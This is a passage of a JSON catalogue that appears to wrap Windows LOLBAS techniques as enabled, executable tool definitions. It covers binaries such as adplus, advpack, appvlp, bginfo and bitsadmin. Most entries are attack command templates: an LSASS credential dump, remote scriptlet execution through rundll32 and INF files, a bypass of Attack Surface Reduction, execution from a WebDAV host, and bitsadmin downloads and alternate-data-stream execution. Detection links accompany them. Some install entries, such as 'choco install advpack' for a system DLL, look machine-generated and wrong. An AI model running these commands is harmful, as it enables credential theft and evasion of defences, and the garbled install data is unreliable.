      {
        "type": "ioc",
        "description": "As a Windows SDK binary, execution on a system may be suspicious"
      }
    ],
    "examples": [
      {
        "description": "Creates a memory dump of the lsass process (Create memory dump and parse it offline)",
        "command": "adplus.exe -hang -pn lsass.exe -o {PATH_ABSOLUTE:folder} -quiet"
      },
      {
        "description": "Execute arbitrary commands using adplus config file (see Resources section for a sample file). (Run commands under a trusted Microsoft signed binary)",
        "command": "adplus.exe -c {PATH:.xml}"
      },
      {
        "description": "Dump process memory using adplus config file (see Resources section for a sample file). (Run commands under a trusted Microsoft signed binary)",
        "command": "adplus.exe -c {PATH:.xml}"
      },
      {
        "description": "Execute arbitrary commands and binaries from the context of adplus. Note that providing an output directory via '-o' is required. (Run commands under a trusted Microsoft signed binary)",
        "command": "adplus.exe -crash -o \"{PATH_ABSOLUTE:folder}\" -sc {PATH:.exe}"
      }
    ],
    "execution": {
      "template": "adplus",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-adplus",
    "install": [
      {
        "method": "choco",
        "package_name": "adplus",
        "commands": [
          "choco install adplus"
        ]
      }
    ],
    "mitre_ids": [
      "T1003.001",
      "T1127"
    ],
    "name": "adplus",
    "namespace": "windows:execution:adplus",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://mrd0x.com/adplus-debugging-tool-lsass-dump/"
      },
      {
        "label": "1534916659676422152",
        "url": "https://twitter.com/nas_bench/status/1534916659676422152"
      },
      {
        "label": "1534915321856917506",
        "url": "https://twitter.com/nas_bench/status/1534915321856917506"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "credential-access",
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# advpack\n\nadvpack is a Windows LOLBin. Utility for installing software and drivers with rundll32.exe Located at: c:\\windows\\system32\\advpack.dll; c:\\windows\\syswow64\\advpack.dll.\n",
    "_source": "advpack.md",
    "allowed-tools": [
      "advpack"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "LOLBAS Team",
    "capabilities": [
      "security.defense-evasion.bypass",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Utility for installing software and drivers with rundll32.exe Located at: c:\\windows\\system32\\advpack.dll; c:\\windows\\syswow64\\advpack.dll.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/detect_rundll32_application_control_bypass___advpack.yml"
      }
    ],
    "examples": [
      {
        "description": "Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified). (Run local or remote script(let) code through INF file specification.)",
        "command": "rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},DefaultInstall_SingleUser,1,"
      },
      {
        "description": "Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (DefaultInstall section implied). (Run local or remote script(let) code through INF file specification.)",
        "command": "rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},,1,"
      },
      {
        "description": "Launch a DLL payload by calling the RegisterOCX function. (Load a DLL payload.)",
        "command": "rundll32.exe advpack.dll,RegisterOCX {PATH:.dll}"
      },
      {
        "description": "Launch an executable by calling the RegisterOCX function. (Run an executable payload.)",
        "command": "rundll32.exe advpack.dll,RegisterOCX {PATH:.exe}"
      },
      {
        "description": "Launch command line by calling the RegisterOCX function. (Run an executable payload.)",
        "command": "rundll32 advpack.dll, RegisterOCX {CMD}"
      }
    ],
    "execution": {
      "template": "advpack",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-advpack",
    "install": [
      {
        "method": "choco",
        "package_name": "advpack",
        "commands": [
          "choco install advpack"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.011"
    ],
    "name": "advpack",
    "namespace": "windows:execution:advpack",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/"
      },
      {
        "label": "967859147977850880",
        "url": "https://twitter.com/ItsReallyNick/status/967859147977850880"
      },
      {
        "label": "974497123101179904",
        "url": "https://twitter.com/bohops/status/974497123101179904"
      },
      {
        "label": "977848311603380224",
        "url": "https://twitter.com/moriarty_meng/status/977848311603380224"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# agentexecutor\n\nagentexecutor is a Windows LOLBin. Intune Management Extension included on Intune Managed Devices Located at: C:\\Program Files (x86)\\Microsoft Intune Management Extension\\AgentExecutor.exe.\n",
    "_source": "agentexecutor.md",
    "allowed-tools": [
      "agentexecutor"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Eleftherios Panos",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Intune Management Extension included on Intune Managed Devices Located at: C:\\Program Files (x86)\\Microsoft Intune Management Extension\\AgentExecutor.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_agentexecutor.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_agentexecutor_susp_usage.yml"
      }
    ],
    "examples": [
      {
        "description": "Spawns powershell.exe and executes a provided powershell script with ExecutionPolicy Bypass argument (Execute unsigned powershell scripts)",
        "command": "AgentExecutor.exe -powershell \"{PATH_ABSOLUTE:.ps1}\" \"{PATH_ABSOLUTE:.1.log}\" \"{PATH_ABSOLUTE:.2.log}\" \"{PATH_ABSOLUTE:.3.log}\" 60000 \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\" 0 1"
      },
      {
        "description": "If we place a binary named powershell.exe in the specified folder path, agentexecutor.exe will execute it successfully (Execute a provided EXE)",
        "command": "AgentExecutor.exe -powershell \"{PATH_ABSOLUTE:.ps1}\" \"{PATH_ABSOLUTE:.1.log}\" \"{PATH_ABSOLUTE:.2.log}\" \"{PATH_ABSOLUTE:.3.log}\" 60000 \"{PATH_ABSOLUTE:folder}\" 0 1"
      }
    ],
    "execution": {
      "template": "agentexecutor",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-agentexecutor",
    "install": [
      {
        "method": "choco",
        "package_name": "agentexecutor",
        "commands": [
          "choco install agentexecutor"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "agentexecutor",
    "namespace": "windows:execution:agentexecutor",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# appcert\n\nappcert is a Windows LOLBin. Windows App Certification Kit command-line tool. Located at: C:\\Program Files (x86)\\Windows Kits\\10\\App Certification Kit\\appcert.exe; C:\\Program Files\\Windows Kits\\10\\App Certification Kit\\appcert.exe.\n",
    "_source": "appcert.md",
    "allowed-tools": [
      "appcert"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows App Certification Kit command-line tool. Located at: C:\\Program Files (x86)\\Windows Kits\\10\\App Certification Kit\\appcert.exe; C:\\Program Files\\Windows Kits\\10\\App Certification Kit\\appcert.exe.",
    "detections": [],
    "examples": [
      {
        "description": "Execute an executable file via the Windows App Certification Kit command-line tool. (Performs execution of specified file, can be used as a defense evasion)",
        "command": "appcert.exe test -apptype desktop -setuppath {PATH_ABSOLUTE:.exe} -reportoutputpath {PATH_ABSOLUTE:.xml}"
      },
      {
        "description": "Install an MSI file via an msiexec instance spawned via appcert.exe as parent process. (Execute custom made MSI file with malicious code)",
        "command": "appcert.exe test -apptype desktop -setuppath {PATH_ABSOLUTE:.msi} -setupcommandline /q -reportoutputpath {PATH_ABSOLUTE:.xml}"
      }
    ],
    "execution": {
      "template": "appcert",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-appcert",
    "install": [
      {
        "method": "choco",
        "package_name": "appcert",
        "commands": [
          "choco install appcert"
        ]
      }
    ],
    "mitre_ids": [
      "T1127",
      "T1218.007"
    ],
    "name": "appcert",
    "namespace": "windows:execution:appcert",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "using-the-windows-app-certification-kit",
        "url": "https://learn.microsoft.com/windows/win32/win_cert/using-the-windows-app-certification-kit"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# applauncher\n\napplauncher is a Windows LOLBin. User Experience Virtualization tool that launches applications under monitoring to capture and synchronize user settings. Located at: C:\\Program Files\\Windows Kits\\10\\Microsoft User Experience Virtualization\\Management\\AppLauncher.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Microsoft User Experience Virtualization\\Management\\AppLauncher.exe.\n",
    "_source": "applauncher.md",
    "allowed-tools": [
      "applauncher"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "User Experience Virtualization tool that launches applications under monitoring to capture and synchronize user settings. Located at: C:\\Program Files\\Windows Kits\\10\\Microsoft User Experience Virtualization\\Management\\AppLauncher.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Microsoft User Experience Virtualization\\Management\\AppLauncher.exe.",
    "detections": [],
    "examples": [
      {
        "description": "Launches an executable via User Experience Virtualization tool. (Executes an executable under a trusted, Microsoft signed binary.)",
        "command": "AppLauncher.exe {PATH_ABSOLUTE:.exe}"
      }
    ],
    "execution": {
      "template": "applauncher",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-execution-applauncher",
    "install": [
      {
        "method": "choco",
        "package_name": "applauncher",
        "commands": [
          "choco install applauncher"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "applauncher",
    "namespace": "windows:execution:applauncher",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "uev-getting-started",
        "url": "https://learn.microsoft.com/en-us/microsoft-desktop-optimization-pack/ue-v/uev-getting-started"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# appvlp\n\nappvlp is a Windows LOLBin. Application Virtualization Utility Included with Microsoft Office 2016 Located at: C:\\Program Files\\Microsoft Office\\root\\client\\appvlp.exe; C:\\Program Files (x86)\\Microsoft Office\\root\\client\\appvlp.exe.\n",
    "_source": "appvlp.md",
    "allowed-tools": [
      "appvlp"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Application Virtualization Utility Included with Microsoft Office 2016 Located at: C:\\Program Files\\Microsoft Office\\root\\client\\appvlp.exe; C:\\Program Files (x86)\\Microsoft Office\\root\\client\\appvlp.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_appvlp.yml"
      }
    ],
    "examples": [
      {
        "description": "Executes .bat file through AppVLP.exe (Execution of BAT file hosted on Webdav server.)",
        "command": "AppVLP.exe {PATH_SMB:.bat}"
      },
      {
        "description": "Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command. (Local execution of process bypassing Attack Surface Reduction (ASR).)",
        "command": "AppVLP.exe powershell.exe -c \"$e=New-Object -ComObject shell.application;$e.ShellExecute('{PATH:.exe}','', '', 'open', 1)\""
      }
    ],
    "execution": {
      "template": "appvlp",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "remote",
      "requires-root"
    ],
    "global_vars": {},
    "id": "windows-execution-appvlp",
    "install": [
      {
        "method": "choco",
        "package_name": "appvlp",
        "commands": [
          "choco install appvlp"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "appvlp",
    "namespace": "windows:execution:appvlp",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Code-Execution",
        "url": "https://github.com/MoooKitty/Code-Execution"
      },
      {
        "label": "892388990686347264",
        "url": "https://twitter.com/moo_hax/status/892388990686347264"
      },
      {
        "label": "",
        "url": "https://enigma0x3.net/2018/06/11/the-tale-of-settingcontent-ms-files/"
      },
      {
        "label": "",
        "url": "https://securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-office-defenses/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# atbroker\n\natbroker is a Windows LOLBin. Helper binary for Assistive Technology (AT) Located at: C:\\Windows\\System32\\Atbroker.exe; C:\\Windows\\SysWOW64\\Atbroker.exe.\n",
    "_source": "atbroker.md",
    "allowed-tools": [
      "atbroker"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Helper binary for Assistive Technology (AT) Located at: C:\\Windows\\System32\\Atbroker.exe; C:\\Windows\\SysWOW64\\Atbroker.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_susp_atbroker.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/registry/registry_event/registry_event_susp_atbroker_change.yml"
      },
      {
        "type": "ioc",
        "description": "Changes to HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\Configuration"
      },
      {
        "type": "ioc",
        "description": "Changes to HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs"
      },
      {
        "type": "ioc",
        "description": "Unknown AT starting C:\\Windows\\System32\\ATBroker.exe /start malware"
      }
    ],
    "examples": [
      {
        "description": "Start a registered Assistive Technology (AT). (Executes code defined in registry for a new AT. Modifications must be made to the system registry to either register or modify an existing Assistive Technology (AT) service entry.)",
        "command": "ATBroker.exe /start malware"
      }
    ],
    "execution": {
      "template": "atbroker",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-atbroker",
    "install": [
      {
        "method": "choco",
        "package_name": "atbroker",
        "commands": [
          "choco install atbroker"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "atbroker",
    "namespace": "windows:execution:atbroker",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# bginfo\n\nbginfo is a Windows LOLBin. Background Information Utility included with SysInternals Suite Located at: no default.\n",
    "_source": "bginfo.md",
    "allowed-tools": [
      "bginfo"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command",
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Background Information Utility included with SysInternals Suite Located at: no default.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_bginfo.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml"
      },
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      }
    ],
    "examples": [
      {
        "description": "Execute VBscript code that is referenced within the specified .bgi file. (Local execution of VBScript)",
        "command": "bginfo.exe {PATH:.bgi} /popup /nolicprompt"
      },
      {
        "description": "Execute VBscript code that is referenced within the specified .bgi file. (Local execution of VBScript)",
        "command": "bginfo.exe {PATH:.bgi} /popup /nolicprompt"
      },
      {
        "description": "Execute bginfo.exe from a WebDAV server. (Remote execution of VBScript)",
        "command": "\\\\10.10.10.10\\webdav\\bginfo.exe {PATH:.bgi} /popup /nolicprompt"
      },
      {
        "description": "Execute bginfo.exe from a WebDAV server. (Remote execution of VBScript)",
        "command": "\\\\10.10.10.10\\webdav\\bginfo.exe {PATH:.bgi} /popup /nolicprompt"
      },
      {
        "description": "This style of execution may not longer work due to patch. (Remote execution of VBScript)",
        "command": "\\\\live.sysinternals.com\\Tools\\bginfo.exe {PATH_SMB:.bgi} /popup /nolicprompt"
      },
      {
        "description": "This style of execution may not longer work due to patch. (Remote execution of VBScript)",
        "command": "\\\\live.sysinternals.com\\Tools\\bginfo.exe {PATH_SMB:.bgi} /popup /nolicprompt"
      }
    ],
    "execution": {
      "template": "bginfo",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-bginfo",
    "install": [
      {
        "method": "choco",
        "package_name": "bginfo",
        "commands": [
          "choco install bginfo"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "bginfo",
    "namespace": "windows:execution:bginfo",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# bitsadmin\n\nbitsadmin is a Windows LOLBin. Used for managing background intelligent transfer Located at: C:\\Windows\\System32\\bitsadmin.exe; C:\\Windows\\SysWOW64\\bitsadmin.exe.\n",
    "_source": "bitsadmin.md",
    "allowed-tools": [
      "bitsadmin"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "system.file.alternate-data-stream",
      "network.transfer.download",
      "system.file.copy",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "process_spawn",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used for managing background intelligent transfer Located at: C:\\Windows\\System32\\bitsadmin.exe; C:\\Windows\\SysWOW64\\bitsadmin.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/web/proxy_generic/proxy_ua_bitsadmin_susp_tld.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_bitsadmin_potential_persistence.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/bitsadmin_download_file.yml"
      },
      {
        "type": "ioc",
        "description": "Child process from bitsadmin.exe"
      },
      {
        "type": "ioc",
        "description": "bitsadmin creates new files"
      },
      {
        "type": "ioc",
        "description": "bitsadmin adds data to alternate data stream"
      }
    ],
    "examples": [
      {
        "description": "Create a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command from an Alternate data stream, then resume and complete the job. (Performs execution of specified file in the alternate data stream, can be used as a defensive evasion or persistence technique.)",
        "command": "bitsadmin /create 1 bitsadmin /addfile 1 c:\\windows\\system32\\cmd.exe c:\\data\\playfolder\\cmd.exe bitsadmin /SetNotifyCmdLine 1 c:\\data\\playfolder\\1.txt:cmd.exe NULL bitsadmin /RESUME 1 bitsadmin /complete 1"
      },
      {
        "description": "Create a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job. (Download file from Internet)",
        "command": "bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\\data\\playfolder\\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1"
      },
      {
        "description": "Command for copying cmd.exe to another folder (Copy file)",
        "command": "bitsadmin /create 1 & bitsadmin /addfile 1 c:\\windows\\system32\\cmd.exe c:\\data\\playfolder\\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset"
      },
      {
        "description": "One-liner that creates a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job. (Execute binary file specified. Can be used as a defensive evasion.)",
        "command": "bitsadmin /create 1 & bitsadmin /addfile 1 c:\\windows\\system32\\cmd.exe c:\\data\\playfolder\\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\\data\\playfolder\\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset"
      }
    ],
    "execution": {
      "template": "bitsadmin",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-execution-bitsadmin",
    "install": [
      {
        "method": "choco",
        "package_name": "bitsadmin",
        "commands": [
          "choco install bitsadmin"
        ]
      }
    ],
    "mitre_ids": [
      "T1564.004",
      "T1105",
      "T1218"
    ],
    "name": "bitsadmin",
    "namespace": "windows:execution:bitsadmin",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "windows-attacks-at-is-the-new-black-26672679",
        "url": "https://www.slideshare.net/chrisgates/windows-attacks-at-is-the-new-black-26672679"
      },
      {
        "label": "watch?v=_8xJaaQlpBo",
        "url": "https://www.youtube.com/watch?v=_8xJaaQlpBo"
      },
      {
        "label": "cdd2d0d0ec9abb686f0e89306e277b8f",
        "url": "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f"
      },
      {
        "label": "100",
        "url": "https://www.soc-labs.top/en/detections/100"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "exfiltration",
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# cdb\n\ncdb is a Windows LOLBin. Debugging tool included with Windows Debugging Tools. Located at: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\cdb.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\cdb.exe.\n",
    "_source": "cdb.md",
    "allowed-tools": [
      "cdb"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Debugging tool included with Windows Debugging Tools. Located at: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\cdb.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\cdb.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_cdb.yml"
      },
